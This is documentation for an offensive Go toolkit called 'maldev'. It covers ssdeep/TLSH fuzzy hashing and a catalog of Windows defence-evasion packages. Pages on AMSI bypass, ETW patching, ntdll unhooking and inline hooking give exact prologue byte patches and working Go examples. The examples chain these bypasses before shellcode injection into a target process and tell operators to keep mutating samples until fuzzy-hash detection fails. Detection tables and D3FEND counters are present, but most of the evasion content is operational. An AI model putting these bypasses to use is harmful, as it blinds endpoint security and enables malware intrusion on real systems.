  • MD5 and SHA-1 are broken. Avoid for any integrity / signature use case. The package keeps them only because some legacy formats (e.g. PE Authenticode V1, NTLM) require MD5/SHA-1.
  • ROR13 is case-sensitive. Hash mismatches between LoadLibraryA and loadlibrarya are silent — you'll fail to resolve and the call returns nil. Use ROR13Module for module names where Windows is case-insensitive (the function takes care of the null suffix; case still matters).
  • No streaming API. Every wrapper takes the whole buffer. For multi-GB inputs, use crypto/sha256.New() directly and io.Copy into it.

See also

Fuzzy hashing (ssdeep + TLSH)

← hash index · docs/index

TL;DR

Two locality-sensitive hashes — ssdeep (context-triggered piecewise) and TLSH (Trend Locality-Sensitive Hash) — that produce similar outputs for similar inputs. Use to detect variants of a known sample after small mutations (UPX section rename, packer entropy padding, single-byte patches) that defeat traditional cryptographic hashes.

Primer

A traditional hash like SHA-256 changes completely when a single byte flips. That's by design: the slightest tamper must invalidate the fingerprint. The downside is that any morph — even a cosmetic one — makes a known-bad hash useless.

Fuzzy hashes give up exact-match in exchange for proximity. Two ssdeep hashes can be compared to a similarity score in $[0, 100]$; two TLSH hashes give a distance in $[0, \infty)$ where lower means more similar. Defenders use them for variant tracking and clustering; offensive teams use them to measure signature evasion (does my morph defeat fuzzy hashing too, or only SHA-256?).

The package wraps the glaslos/ssdeep and glaslos/tlsh pure-Go libraries behind an idiomatic API.

How it works

flowchart LR
    A[file A] --> SsA[Ssdeep]
    B[file B] --> SsB[Ssdeep]
    SsA --> Cmp1[SsdeepCompare]
    SsB --> Cmp1
    Cmp1 --> Score[score 0–100]

    A --> TlA[TLSH]
    B --> TlB[TLSH]
    TlA --> Cmp2[TLSHCompare]
    TlB --> Cmp2
    Cmp2 --> Dist[distance 0–∞]

ssdeep slices the input on context-triggered boundaries (rolling hash hits a threshold), then hashes each slice. Two files with identical slice sequences score 100; files with only some slices in common score proportionally.

TLSH builds a histogram of overlapping 5-byte windows, quantises it, and emits a fixed 70-byte hex string. Distance is roughly Hamming over the quantised histogram.

Minimum input sizes:

  • ssdeep — works on any input, but very short inputs produce unreliable hashes.
  • TLSH — 50 bytes minimum (library enforced); 256+ bytes recommended for stable distance.

API Reference

Ssdeep(data []byte) (string, error)

godoc

Compute the ssdeep hash of a buffer. Returns a string of the form 12:abcd...:efgh... where the leading number is the block-size magnitude.

SsdeepFile(path string) (string, error)

godoc

Same as Ssdeep but reads from disk.

SsdeepCompare(hash1, hash2 string) (int, error)

godoc

Compare two ssdeep hashes. Returns a similarity score in $[0, 100]$ (higher = more similar) or error if the hashes have non-adjacent block-size magnitudes (incomparable).

TLSH(data []byte) (string, error)

godoc

Compute the TLSH hash of a buffer. Returns a 70-character hex string. Errors if len(data) < 50.

TLSHFile(path string) (string, error)

godoc

Same as TLSH but reads from disk.

TLSHCompare(hash1, hash2 string) (int, error)

godoc

Compare two TLSH hashes. Returns a distance in $[0, \infty)$ — lower means more similar.

Rough scale: $<30$ very close, $<70$ same family, $>200$ unrelated.

Examples

Simple

s, _ := hash.Ssdeep(payload)
t, _ := hash.TLSH(payload)
fmt.Println(s, t)

Composed (compare two payloads)

s1, _ := hash.SsdeepFile("payload_v1.exe")
s2, _ := hash.SsdeepFile("payload_v2.exe")
score, _ := hash.SsdeepCompare(s1, s2)
fmt.Printf("ssdeep score: %d/100\n", score)

t1, _ := hash.TLSHFile("payload_v1.exe")
t2, _ := hash.TLSHFile("payload_v2.exe")
dist, _ := hash.TLSHCompare(t1, t2)
fmt.Printf("tlsh distance: %d\n", dist)

Advanced (batch similarity scan)

Screen a directory of candidates against a known-malicious baseline. Files that score $\ge 70$ on ssdeep or $\le 100$ on TLSH are likely variants of the same family.

import (
    "fmt"
    "io/fs"
    "path/filepath"

    "github.com/oioio-space/maldev/hash"
)

func scanVariants(baseline, dir string, ssdeepThreshold, tlshMax int) error {
    bSS, _ := hash.SsdeepFile(baseline)
    bTL, _ := hash.TLSHFile(baseline)

    return filepath.WalkDir(dir, func(path string, d fs.DirEntry, err error) error {
        if err != nil || d.IsDir() {
            return err
        }
        ss, _ := hash.SsdeepFile(path)
        tl, _ := hash.TLSHFile(path)
        score, _ := hash.SsdeepCompare(bSS, ss)
        dist, _  := hash.TLSHCompare(bTL, tl)

        if score >= ssdeepThreshold || (dist >= 0 && dist <= tlshMax) {
            fmt.Printf("variant ssdeep=%d tlsh=%d %s\n", score, dist, path)
        }
        return nil
    })
}

Complex (UPXMorph vs SHA-256 vs fuzzy hashing)

The core demonstration of why fuzzy hashing exists. pe/morph.UPXMorph replaces the eight-byte UPX section names (UPX0, UPX1, UPX2) with random strings. That tiny change flips the SHA-256 — the blocklist entry for the original hash is now useless. But 24 bytes out of hundreds of kilobytes is nothing structurally: ssdeep and TLSH see essentially the same binary and report high similarity.

import (
    "fmt"
    "os"

    "github.com/oioio-space/maldev/hash"
    "github.com/oioio-space/maldev/pe/morph"
)

func main() {
    packed, err := os.ReadFile("implant-upx.exe")
    if err != nil { panic(err) }

    sha256Before := hash.SHA256(packed)
    ssBefore, _  := hash.Ssdeep(packed)
    tlBefore, _  := hash.TLSH(packed)

    morphed, err := morph.UPXMorph(packed)
    if err != nil { panic(err) }

    sha256After := hash.SHA256(morphed)
    ssAfter, _  := hash.Ssdeep(morphed)
    tlAfter, _  := hash.TLSH(morphed)

    ssScore, _ := hash.SsdeepCompare(ssBefore, ssAfter)
    tlDist, _  := hash.TLSHCompare(tlBefore, tlAfter)

    fmt.Println("SHA-256 same?:", sha256Before == sha256After)
    fmt.Printf("ssdeep score: %d / 100\n", ssScore)
    fmt.Printf("TLSH distance: %d\n", tlDist)
}

Typical output for a UPX-morphed binary:

SHA-256 same?:  false                        ← blocklist miss
ssdeep score:   97 / 100                     ← variant detected
TLSH distance:  12                           ← negligible neighbourhood change

A defender relying solely on SHA-256 is blind to the morphed copy. A defender running ssdeep/TLSH catches it immediately.

OPSEC & Detection

Fuzzy hashing is primarily a defender tool — the offensive use case is measuring evasion, not performing it. Still:

ArtefactWhere defenders look
ssdeep score $\ge 70$ vs known-bad seedVirusTotal "Similar Files" tab, Cuckoo signatures, MISP ssdeep events
TLSH distance $\le 100$ vs known-bad seedTrend Micro telemetry, MITRE TLSH-based clustering

D3FEND counter: D3-SEA — Static Executable Analysis covers fuzzy-hash-based clustering.

Operator implication: if your morph reduces the SHA-256 match but leaves ssdeep/TLSH high, you've broken signature-based detection but not similarity-based detection. Layer with structural mutation (pe/morph + section rebuild + obfuscated control flow) until both metrics fall.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1027Obfuscated Files or Informationanalysis tooling — measures, doesn't performD3-SEA

(The hashes themselves don't perform a technique; they're used to evaluate how thoroughly a morph or packer defeats clustering.)

Limitations

  • ssdeep block-size mismatch. Hashes with non-adjacent block-size magnitudes are incomparable — SsdeepCompare returns an error. This is a fundamental property of CTPH, not a bug.
  • TLSH minimum size. 50 bytes is library-enforced. Shorter inputs return an error. 256+ bytes recommended for stable distance.
  • Pure-Go performance. Both libraries are pure Go. Native ssdeep/TLSH C implementations are 3–5× faster on large datasets — if scanning thousands of files, batch them and parallelise via errgroup.
  • Defender bias. These hashes were designed by defenders, for defenders. Their offensive value is purely diagnostic.

See also

Evasion techniques

← maldev README · docs/index

In-process and on-host primitives that disable, blind, restore, or hide the defensive surface so subsequent injection / collection / post-ex code runs unobserved. Every package in this area accepts a *wsyscall.Caller and composes via evasion.ApplyAll or evasion/preset recipes.

TL;DR

flowchart LR
    A[unhook ntdll] --> B[patch AMSI]
    B --> C[patch ETW]
    C --> D[harden process<br>ACG / BlockDLLs / CET]
    D --> E[sleepmask between callbacks]

The "operator's first 100 ms" — restore clean syscall stubs, blind the two main monitoring channels, harden the process against future hooks, mask payload memory during sleep.

Packages

PackageTech pageDetectionOne-liner
evasion/acgacg-blockdlls.mdquietArbitrary Code Guard — block dynamic-code allocation in own process
evasion/amsiamsi-bypass.mdnoisyPatch AmsiScanBuffer / AmsiOpenSession for "always clean" verdicts
evasion/blockdllsacg-blockdlls.mdquietMicrosoft-only DLL signature requirement
evasion/callstackcallstack-spoof.mdquietCall-stack spoof primitives — fake return addresses for syscalls
evasion/cetcet.mdnoisyIntel CET shadow-stack opt-out + ENDBR64 marker for APC paths
evasion/etwetw-patching.mdmoderatePatch ntdll ETW write helpers with xor rax,rax; ret
evasion/hookinline-hook.mdquietInstall your own inline hooks (probe, group, remote, bridge)
evasion/hook/bridgeinline-hook.mdquietIPC bridge — out-of-process hook controller
evasion/hook/shellcodeinline-hook.mdquietx64 trampoline / prologue-steal generator
evasion/kcallbackkernel-callback-removal.mdvery-noisyEnumerate / remove kernel callback registrations (BYOVD-pluggable)
evasion/presetpreset.mdvariesCurated Minimal / Stealth / Aggressive Technique bundles
evasion/sleepmasksleep-mask.mdquietEncrypt payload memory during sleep with EKKO / Foliage / Inline strategies
evasion/stealthopenstealthopen.mdquietNTFS Object-ID file access — bypass path-based EDR file hooks
evasion/unhookntdll-unhooking.mdnoisyRestore ntdll.dll syscall stubs from disk or fresh child process

Cross-categorised pages currently living here (packages live elsewhere):

PageActual packageNote
../recon/anti-analysis.mdrecon/antidebug, recon/antivmmoved to recon/ — debugger + VM detection
../kernel/byovd-rtcore64.mdkernel/driver/rtcore64moved to kernel/ — BYOVD primitive used by kcallback + lsassdump
../recon/dll-hijack.mdrecon/dllhijackmoved to recon/ — discovery is recon, exploitation is evasion
../process/fakecmd.mdprocess/tamper/fakecmdPEB CommandLine spoof — moved to process/
../process/hideprocess.mdprocess/tamper/hideprocessNtQSI patch to hide PIDs — moved to process/
../recon/hw-breakpoints.mdrecon/hwbpmoved to recon/ — DR0–DR7 inspection
../process/phant0m.mdprocess/tamper/phant0mEventLog svchost thread kill — moved to process/
ppid-spoofing.mdc2/shell (PPIDSpoofer)spawn-time parent PID spoof
../recon/sandbox.mdrecon/sandboxmoved to recon/ — multi-factor orchestrator
../recon/timing.mdrecon/timingmoved to recon/ — time-based evasion

Quick decision tree

You want to…Use
…blind PowerShell / .NET AMSI scanningamsi.PatchAll
…blind ETW for the current processetw.PatchAll
…restore EDR-hooked syscall stubs before patchingunhook.FullUnhook or unhook.CommonClassic
…make memory scanners blind during sleepsleepmask
…ship a single "do everything sane" recipepreset.Stealth()
…read a sensitive file path without leaving a path-based eventstealthopen
…survive Win11+CET-enforced hosts on APC pathscet.Wrap or cet.Disable
…spoof call-stack return addresses for stealth syscallscallstack.SpoofCall
…remove a kernel callback (PsSetLoadImageNotifyRoutine etc.)kcallback (requires BYOVD reader)

MITRE ATT&CK

T-IDNamePackagesD3FEND counter
T1027Obfuscated Files or Informationevasion/sleepmaskD3-PMA
T1036Masqueradingevasion/callstack, evasion/stealthopenD3-PSA
T1497Virtualization/Sandbox Evasionrecon/sandbox, recon/antivm, recon/timingD3-PSA, D3-PMA
T1562.001Impair Defenses: Disable or Modify Toolsevasion/{amsi,etw,unhook,acg,blockdlls,cet,kcallback,preset}D3-PMC, D3-PSA
T1562.002Impair Defenses: Disable Windows Event Loggingprocess/tamper/phant0mD3-RAPA
T1574.012Hijack Execution Flow: COR_PROFILERevasion/hook (inline hook scaffold)D3-PMC
T1622Debugger Evasionrecon/antidebug, recon/hwbpD3-PSA

See also

AMSI bypass

← evasion index · docs/index

TL;DR

Patch AmsiScanBuffer (3-byte xor eax,eax; ret prologue) and/or AmsiOpenSession (flip the conditional jump) in the loaded amsi.dll of the current process. Result: every AMSI scan returns "clean" without ever reaching the registered antimalware provider.

Primer

The Antimalware Scan Interface is the Windows mechanism that ships script bodies (PowerShell, .NET, VBScript, JScript) to a registered antimalware provider — usually Defender — for inspection before execution. Loaders that decrypt-and-run a payload in a managed runtime (Assembly.Load, IEX) trigger AMSI; if Defender flags the body, the runtime aborts.

The bypass operates at the per-process level by patching amsi.dll in the current process's address space. AMSI's interface is COM, but the critical path goes through two functions in the DLL:

  • AmsiScanBuffer(amsiContext, buffer, length, contentName, amsiSession, result) → HRESULT — submits content for scanning, writes verdict to *result.
  • AmsiOpenSession(amsiContext, amsiSession) → HRESULT — initialises a scan session; null session means no scanning.

Patching either short-circuits the chain.

[!IMPORTANT] AMSI patches are per-process. They don't disable AMSI system-wide — Defender keeps scanning every other process normally. The patch survives only as long as amsi.dll is mapped in the current process.

How it works

sequenceDiagram
    participant Loader as "runtime/clr or PowerShell host"
    participant amsi as "amsi.dll"
    participant Provider as "Defender (MpOav.dll)"

    rect rgb(255,238,238)
        Note over Loader,Provider: Without patch
        Loader->>amsi: AmsiScanBuffer(payload)
        amsi->>Provider: ScanContent
        Provider-->>amsi: AMSI_RESULT_DETECTED
        amsi-->>Loader: HRESULT, *result = DETECTED
        Loader->>Loader: abort
    end

    rect rgb(238,255,238)
        Note over Loader,Provider: After PatchScanBuffer
        Loader->>amsi: AmsiScanBuffer(payload)
        Note over amsi: prologue is now<br>31 C0 C3 (xor eax,eax; ret)
        amsi-->>Loader: returns S_OK, *result untouched
        Loader->>Loader: continue (treats as clean)
    end

PatchScanBuffer does:

  1. LoadLibraryW("amsi.dll") to ensure the module is mapped (no-op if already loaded).
  2. GetProcAddress(amsi, "AmsiScanBuffer") — function entry.
  3. NtProtectVirtualMemory(addr, 3, PAGE_EXECUTE_READWRITE) via the supplied *Caller.
  4. memcpy 31 C0 C3 over the prologue.
  5. NtProtectVirtualMemory(addr, 3, original) to restore.

PatchOpenSession is similar but flips a single byte in the prologue of AmsiOpenSession (JZ → JNZ), making session creation always "succeed" without initialising the provider.

API Reference

PatchScanBuffer(caller *wsyscall.Caller) error

godoc

Overwrite the AmsiScanBuffer prologue with xor eax,eax; ret.

Parameters: caller — optional *wsyscall.Caller. nil falls back to WinAPI for debug; pass an indirect-syscall caller in production.

Returns: error — wraps LoadLibraryW / GetProcAddress / NtProtectVirtualMemory failures. nil if amsi.dll is not loaded and cannot be loaded (skipped silently).

Side effects: the running process's amsi.dll .text section is patched (3 bytes). Persists for the process lifetime.

OPSEC: the NtProtectVirtualMemory(amsi.dll, RWX) is the loudest event — visible in ETW Threat Intelligence (EVENT_TI_NTPROTECT).

PatchOpenSession(caller *wsyscall.Caller) error

Flip the conditional jump in AmsiOpenSession so session creation always returns success without the provider initialising.

PatchAll(caller *wsyscall.Caller) error

Apply both PatchScanBuffer and PatchOpenSession. Idempotent — safe to call multiple times.

ScanBufferPatch() evasion.Technique, OpenSessionPatch() evasion.Technique, All() evasion.Technique

Adapt the patches to the evasion.Technique interface for composition with evasion.ApplyAll.

Examples

Simple

caller := wsyscall.New(wsyscall.MethodIndirect, nil)
if err := amsi.PatchScanBuffer(caller); err != nil {
    log.Fatal(err)
}
// AmsiScanBuffer now returns clean for everything in this process.

Composed (with evasion.ApplyAll)

caller := wsyscall.New(wsyscall.MethodIndirect, nil)
results := evasion.ApplyAll([]evasion.Technique{
    amsi.All(),  // patches both scan + session
    etw.All(),   // blinds ETW too
}, caller)
for name, err := range results {
    if err != nil {
        log.Printf("%s: %v", name, err)
    }
}

Advanced (full pre-injection chain)

caller := wsyscall.New(wsyscall.MethodIndirect, nil)
techniques := []evasion.Technique{}
techniques = append(techniques, unhook.CommonClassic()...) // restore ntdll first
techniques = append(techniques, amsi.All(), etw.All())     // then blind
_ = evasion.ApplyAll(techniques, caller)

// Everything below now runs without AMSI / ETW visibility:
clr.LoadAndExecute(assembly)
inject.SectionMapInject(targetPID, shellcode, caller, nil)

OPSEC & Detection

ArtefactWhere defenders look
NtProtectVirtualMemory(amsi.dll, RWX)ETW TI EVENT_TI_NTPROTECTsingle highest-leverage signal
3 bytes of amsi.dll differ from on-disk imageEDR memory-integrity scan of loaded modules
AmsiScanBuffer returning S_OK in 0 µsStatistical hunt — real scans take 100 µs–10 ms
Process loaded amsi.dll but never calls back to providerETW provider event volume per process

D3FEND counters: D3-PMC, D3-PSA.

Hardening: AMSI Provider DLL pinned + signed; on Win11, CFG + ProcessUserShadowStackPolicy increase the cost of reaching the patch site reliably.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1562.001Impair Defenses: Disable or Modify Toolsfull (per-process AMSI nullification)D3-PMC, D3-PSA

Limitations

  • Per-process only. Doesn't affect AMSI scans from other processes (so a child PowerShell still gets scanned unless that child also patches).
  • Defender def-update can flag the byte pattern. Modern Defender flags the loaded-process side-effect (Windows-AMSI-Bypass detections). Composing with unhook first reduces the chance of being mid-flight when Defender's hooks fire.
  • CFG (Control Flow Guard) doesn't block prologue patches but EDR hook scanners that rescan amsi.dll periodically will catch it.
  • AMSI providers other than Defender (e.g., third-party AV) might use different code paths that don't go through AmsiScanBuffer — rare today but worth knowing.

See also

ETW patching

← evasion index · docs/index

TL;DR

Overwrite the prologue of ntdll.dll's ETW write helpers (EtwEventWrite, EtwEventWriteEx, EtwEventWriteFull, EtwEventWriteString, EtwEventWriteTransfer) with xor rax,rax; ret. Any ETW provider in the process emits zero events while still receiving STATUS_SUCCESS.

Primer

Event Tracing for Windows is the primary telemetry pipeline of the Windows kernel — every EDR, every audit policy, every Defender real-time component subscribes to it. User-mode providers in the current process route their events through the five EtwEvent* write functions in ntdll.dll. Patching those five functions to be no-ops silences ETW for the process: no provider can publish, regardless of what EventRegister returned.

The NtTraceEvent syscall sits one layer below the user-mode helpers. A few EDRs direct-call it to bypass the user-mode patch — hence the companion PatchNtTraceEvent for the kernel-call layer.

[!NOTE] ETW Threat Intelligence (Microsoft-Windows-Threat-Intelligence) is a kernel-side ETW channel that this patch does NOT silence — kernel-mode events emitted by EtwTraceEvent (kernel form) still reach subscribers. The patch covers user-mode emission only.

How it works

sequenceDiagram
    participant Provider as "user-mode provider"
    participant ntdll as "ntdll!EtwEventWrite"
    participant TI as "ETW Subscriber"

    rect rgb(255,238,238)
        Note over Provider,TI: Without patch
        Provider->>ntdll: EtwEventWrite(provider, descriptor, payload)
        ntdll->>TI: NtTraceEvent → consumer
        ntdll-->>Provider: STATUS_SUCCESS
    end

    rect rgb(238,255,238)
        Note over Provider,TI: After PatchAll
        Provider->>ntdll: EtwEventWrite(...)
        Note over ntdll: prologue is now<br>48 33 C0 C3 (xor rax,rax; ret)
        ntdll-->>Provider: STATUS_SUCCESS<br>(no event emitted)
    end

For each of the five functions:

  1. GetProcAddress(ntdll, "EtwEventWrite*").
  2. NtProtectVirtualMemory(addr, 4, PAGE_EXECUTE_READWRITE) via the supplied *Caller.
  3. memcpy 48 33 C0 C3 (xor rax, rax; ret).
  4. NtProtectVirtualMemory(addr, 4, original).

PatchNtTraceEvent does the same for NtTraceEvent with a single RET.

API Reference

PatchAll(caller *wsyscall.Caller) error

godoc

Patch all five EtwEvent* write functions in ntdll.dll. Idempotent.

Parameters: caller — optional *wsyscall.Caller.

Returns: error — first failure shorts the chain. nil on success.

Side effects: 5 × 4 bytes of ntdll.dll .text section overwritten.

OPSEC: five NtProtectVirtualMemory calls on ntdll.dll — distinguishable in TI ETW. Run after unhook.FullUnhook so the subsequent ETW activity stays hidden from EDR hooks.

Patch(caller *wsyscall.Caller) error

Patch only EtwEventWrite (the most-used variant). Cheaper alternative when you don't need the full set.

PatchNtTraceEvent(caller *wsyscall.Caller) error

Patch the lower-level NtTraceEvent with a single RET. Use this when EDR is observed direct-calling the syscall layer.

All() evasion.Technique, PatchTechnique() evasion.Technique, NtTraceTechnique() evasion.Technique

evasion.Technique adapters for composition with evasion.ApplyAll.

Examples

Simple

caller := wsyscall.New(wsyscall.MethodIndirect, nil)
if err := etw.PatchAll(caller); err != nil {
    log.Fatal(err)
}
// User-mode ETW providers in this process emit nothing now.

Composed (with evasion.amsi)

caller := wsyscall.New(wsyscall.MethodIndirect, nil)
_ = evasion.ApplyAll([]evasion.Technique{
    amsi.All(),
    etw.All(),
}, caller)

Advanced (NtTraceEvent for stubborn EDRs)

caller := wsyscall.New(wsyscall.MethodIndirect, nil)
_ = etw.PatchAll(caller)            // user-mode helpers
_ = etw.PatchNtTraceEvent(caller)   // kernel-call layer

OPSEC & Detection

ArtefactWhere defenders look
5 × NtProtectVirtualMemory(ntdll, RWX)ETW TI EVENT_TI_NTPROTECT — same channel as AMSI patch detection
4 bytes of each EtwEvent* differ from on-disk imageEDR memory-integrity scanning
Process registered an ETW provider but emits zero eventsKernel-side ETW provider-volume monitoring
Per-provider event-count drops to zero mid-processProcess-lifecycle ETW analytics

D3FEND counter: D3-PMC.

Hardening: subscribe to ETW Threat Intelligence in user-mode SIEM collection — even if the patched process emits nothing, the NtProtectVirtualMemory flips that installed the patch are visible in TI.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1562.001Impair Defenses: Disable or Modify Toolsuser-mode ETW write functions + optional NtTraceEventD3-PMC

Limitations

  • Per-process only. Other processes still emit events normally.
  • Doesn't silence kernel-side ETW providers (Microsoft-Windows- Threat-Intelligence, Microsoft-Windows-Kernel-Process). Those emit from kernel mode regardless of user-mode patches.
  • EDR may rescan ntdll.dll every N seconds; the patch is detectable if rescans are on.
  • The four-byte prologue overwrite assumes x86_64. ARM64 ntdll has different prologues; the package's current code is amd64-only.

See also

ntdll Unhooking

MITRE ATT&CK: T1562.001 -- Impair Defenses: Disable or Modify Tools | D3FEND: D3-HBPI -- Hook-Based Process Instrumentation | Detection: High

Primer

When a security guard is worried about a specific door, they install a tripwire across it. Anyone who walks through triggers an alarm, and the guard knows exactly who passed and when. The door still works normally -- it just has an invisible wire that reports activity.

EDR products do the same thing to Windows API functions. When your process starts, the EDR modifies the first few bytes of critical functions in ntdll.dll (the lowest-level user-mode library) to redirect them through the EDR's own monitoring code. This is called "hooking." When you call NtAllocateVirtualMemory, the hook intercepts the call, logs it, decides whether to allow it, and then either passes it through to the real function or blocks it.

Unhooking is finding the original blueprints for the door (the clean ntdll.dll from disk or from another process) and rebuilding the door without the tripwire. Once the hooks are removed, your API calls go directly to the kernel without EDR interception.

maldev provides three unhooking methods with increasing sophistication:

  1. Classic -- Restore just the first 5 bytes of a specific function from the on-disk copy.
  2. Full -- Replace the entire .text section of ntdll from the disk copy, removing ALL hooks at once.
  3. Perun -- Read a pristine ntdll from a freshly-spawned suspended process (avoids reading from disk entirely).

How It Works

flowchart TD
    subgraph Classic["Classic Unhook"]
        C1[Read ntdll.dll from disk] --> C2[Parse PE exports]
        C2 --> C3[Find target function offset]
        C3 --> C4[Read first 5 clean bytes]
        C4 --> C5[Overwrite hooked bytes in memory]
    end

    subgraph Full["Full Unhook"]
        F1[Read ntdll.dll from disk] --> F2[Parse PE sections]
        F2 --> F3[Extract entire .text section]
        F3 --> F4[VirtualProtect .text → RWX]
        F4 --> F5[Overwrite entire .text in memory]
        F5 --> F6[Restore .text protection]
    end

    subgraph Perun["Perun Unhook"]
        P1[CreateProcess notepad.exe SUSPENDED] --> P2[Read child's ntdll .text via ReadProcessMemory]
        P2 --> P3[Overwrite our .text with child's clean copy]
        P3 --> P4[TerminateProcess child]
    end

    style C5 fill:#2d5016,color:#fff
    style F5 fill:#2d5016,color:#fff
    style P3 fill:#2d5016,color:#fff

Classic Unhook -- Targeted, surgical:

  1. Read ntdll.dll from System32 on disk (never hooked).
  2. Parse the PE export directory to find the target function's file offset.
  3. Read the first 5 bytes (the typical hook trampoline size).
  4. Overwrite the hooked in-memory bytes with the clean disk copy via PatchMemoryWithCaller.

Full Unhook -- Scorched earth:

  1. Read ntdll.dll from disk and parse the PE to find the .text section.
  2. Extract the entire .text section bytes.
  3. VirtualProtect the in-memory .text to PAGE_EXECUTE_READWRITE.
  4. WriteProcessMemory (or NtWriteVirtualMemory via Caller) to overwrite the entire section.
  5. Restore original protection.

Perun Unhook -- Disk-free:

  1. Spawn notepad.exe (or configurable target) in CREATE_SUSPENDED | CREATE_NO_WINDOW state.
  2. ntdll is loaded at the same base address in all processes (ASLR is per-boot). Read the child's pristine .text via ReadProcessMemory.
  3. Overwrite the local hooked .text with the clean copy.
  4. Terminate the child process.

Usage

package main

import (
    "log"

    "github.com/oioio-space/maldev/evasion/unhook"
)

func main() {
    // Classic: unhook a single function. 3rd arg is an optional
    // stealthopen.Opener — nil = path-based read of ntdll.dll; pass a
    // *stealthopen.Stealth to bypass path-based EDR hooks on that open.
    if err := unhook.ClassicUnhook("NtAllocateVirtualMemory", nil, nil); err != nil {
        log.Fatal(err)
    }

    // Full: unhook ALL ntdll functions at once. Same Opener semantics.
    if err := unhook.FullUnhook(nil, nil); err != nil {
        log.Fatal(err)
    }

    // Perun: unhook from a child process (no disk read).
    if err := unhook.PerunUnhook(nil); err != nil {
        log.Fatal(err)
    }

    // Perun with custom host process.
    if err := unhook.PerunUnhookTarget("svchost.exe", nil); err != nil {
        log.Fatal(err)
    }
}

Combined Example

package main

import (
    "log"

    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/amsi"
    "github.com/oioio-space/maldev/evasion/etw"
    "github.com/oioio-space/maldev/evasion/unhook"
    "github.com/oioio-space/maldev/inject"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

func main() {
    shellcode := []byte{0x90, 0x90, 0xCC}

    // Use indirect syscalls for the unhooking itself.
    caller := wsyscall.New(wsyscall.MethodIndirect,
        wsyscall.Chain(wsyscall.NewHellsGate(), wsyscall.NewHalosGate()))

    // Layer evasion: blind telemetry first, THEN unhook.
    // Order matters: ETW patch prevents logging of the unhook operation.
    techniques := []evasion.Technique{
        amsi.ScanBufferPatch(),
        etw.All(),
        unhook.Full(),  // or unhook.CommonClassic()... for selective
    }
    if errs := evasion.ApplyAll(techniques, caller); errs != nil {
        for name, err := range errs {
            log.Printf("%s: %v", name, err)
        }
    }

    // After unhooking, all NT calls go directly to kernel.
    injector, err := inject.Build().
        Method(inject.MethodCreateRemoteThread).
        TargetPID(1234).
        Create()
    if err != nil {
        log.Fatal(err)
    }
    injector.Inject(shellcode)
}

Advantages & Limitations

AspectDetail
Stealth (Classic)Medium -- only touches one function. Minimal disk I/O.
Stealth (Full)Low -- reads entire ntdll from disk, massive memory write. Very visible.
Stealth (Perun)Medium-High -- no disk read, but spawning a child process is logged.
EffectivenessHigh -- completely removes userland hooks. After unhooking, EDR loses visibility into hooked APIs.
Caller routingAll three methods support *wsyscall.Caller for the protection/write phase, bypassing potential hooks on VirtualProtect and WriteProcessMemory themselves.
Detection vectorsDisk read of ntdll.dll (Full/Classic), child process spawn (Perun), memory integrity checks before/after, ETW events for VirtualProtect on ntdll pages.
LimitationsDoes not affect kernel-level hooks (minifilters, callbacks). Does not remove hooks set after the unhook operation. Some EDRs re-hook periodically.

API Reference

// ClassicUnhook restores the first 5 bytes of a hooked ntdll function.
// opener is optional (nil = plain os.Open of ntdll.dll). Pass a
// *stealthopen.Stealth built for ntdll.dll to bypass path-based EDR
// hooks on the CreateFile for System32\ntdll.dll.
func ClassicUnhook(funcName string, caller *wsyscall.Caller, opener stealthopen.Opener) error

// FullUnhook replaces the entire .text section from disk. Same opener
// semantics as ClassicUnhook.
func FullUnhook(caller *wsyscall.Caller, opener stealthopen.Opener) error

// PerunUnhook reads pristine ntdll from a suspended notepad.exe child.
func PerunUnhook(caller *wsyscall.Caller) error

// PerunUnhookTarget uses a custom host process.
func PerunUnhookTarget(target string, caller *wsyscall.Caller) error

// Technique constructors:
func Classic(funcName string) evasion.Technique
func CommonClassic() []evasion.Technique  // common hooked functions
func Full() evasion.Technique
func Perun() evasion.Technique

// Hook detection:
func IsHooked(funcName string) (bool, error)

See also

Inline Hook — x64 Function Interception

<- Back to Evasion

MITRE ATT&CK: T1574.012 — Hijack Execution Flow: Inline Hooking Package: evasion/hook Platform: Windows (x64) Detection: High


Primer

Every Windows function — MessageBoxW, CreateFileW, NtAllocateVirtualMemory — lives at some address in memory and starts with a short sequence of instructions called its prologue. An inline hook rewrites the first bytes of that prologue so the CPU jumps to your code instead. Your callback inspects (or modifies) the arguments, then either lets the original function run by calling a small trampoline that re-executes the patched bytes and jumps back, or returns a synthetic result without ever running the real function.

This single primitive underlies a huge fraction of both offensive and defensive tooling:

  • EDR agents hook NtAllocateVirtualMemory / NtProtectVirtualMemory in userland to flag shellcode-like allocations before they run.
  • Red-team tools hook AmsiScanBuffer to make every scan return "clean", or EtwEventWrite to suppress telemetry.
  • Malware researchers hook APIs they want to trace (args, return value) without attaching a debugger.

evasion/hook is a pure-Go, no-CGo, x64-only implementation: it allocates a relay page within ±2 GB of the target (so a 5-byte JMP rel32 is enough), writes a JMP to the relay, and the relay hops to a Go callback via syscall.NewCallback. An Install/Uninstall pair restores the original bytes on demand.


What It Does

Intercepts calls to any exported Windows function by patching its prologue with a JMP to a Go callback. The original function remains callable via a trampoline. Pure Go — no CGo, no x64dbg required.

How It Works

sequenceDiagram
    participant Caller
    participant Target as "Target Function"
    participant Relay as "Relay Page within 2GB"
    participant Callback as "Go Callback"
    participant Trampoline as "Trampoline"

    Note over Target: Prologue patched with JMP rel32
    Caller->>Target: Call function
    Target->>Relay: JMP rel32 (5 bytes)
    Relay->>Callback: MOV R10, addr; JMP R10
    Callback->>Trampoline: syscall.SyscallN(h.Trampoline(), ...)
    Trampoline->>Target: Stolen bytes + JMP back past patch
    Target-->>Trampoline: Returns
    Trampoline-->>Callback: Returns
    Callback-->>Caller: Returns (possibly modified)

Three Components

ComponentSizePurpose
Hook patch5 bytes (E9 rel32)JMP from target to relay
Relay page13 bytes (MOV R10, imm64; JMP R10)Absolute JMP to Go callback. Allocated within ±2GB of target (required for rel32).
TrampolineN+13 bytesCopy of stolen prologue bytes (with RIP fixups) + absolute JMP back to original function after the patch

Automatic Prologue Analysis

Uses golang.org/x/arch/x86/x86asm to:

  1. Decode instructions until cumulative length >= 5 bytes
  2. Detect RIP-relative instructions ([RIP+disp32], relative branches)
  3. Fix up displacements so the trampoline targets correct addresses

No manual stealLength calculation needed.

API Reference

func Install(targetAddr uintptr, handler interface{}) (*Hook, error)
